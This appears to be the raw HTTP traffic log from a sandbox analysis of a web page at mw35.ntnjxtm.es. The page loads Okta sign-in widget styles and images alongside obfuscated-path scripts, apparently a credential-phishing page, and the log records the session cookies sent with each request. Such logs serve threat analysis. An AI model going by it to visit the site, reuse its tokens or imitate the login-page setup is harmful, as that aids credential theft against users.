laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T114009Z&X-Amz-Expires=300&X-Amz-Signature=1aa45c749e696b8fcfbc282bad56341c76fad38da3c21e47dab37539afc1c1dc&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mw35.ntnjxtm.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveOrigin: https://mw35.ntnjxtm.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /34cbiWT3HYu22H4fLklgEVykKFK6peQ67110 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxxbxEz8GID2tegRb5J5ooBInrQoqrz4hEL6VrzTxVq12130 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klcplTgwNyGPdYzyQxuFUQFi9HCWNllQWGoppRjMK3Zs4O2nsJiSjS0UcbYF11KDCk9ab225 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /kl8mPQzpGbirEdcRLxLz8tFXgV0Kw23q1dklQk4ciJSFysrOz8mW9ApmABxaHS2wx220 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxxbxEz8GID2tegRb5J5ooBInrQoqrz4hEL6VrzTxVq12130 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /op3aUwqrFucYzTnMlf8HnLN6yWXghEI2OWynhvS91Pql45138 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /mnNty0NDXXLQyviMh2NGie7opYWcEC7YX2uvZOFaRw1nvJwj3QtZhPgMA990143 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ijykqoO7Vm438XuMJszsACwxpIJFeLHfJ2FQbsTsDzHt7n78170 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klcplTgwNyGPdYzyQxuFUQFi9HCWNllQWGoppRjMK3Zs4O2nsJiSjS0UcbYF11KDCk9ab225 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; 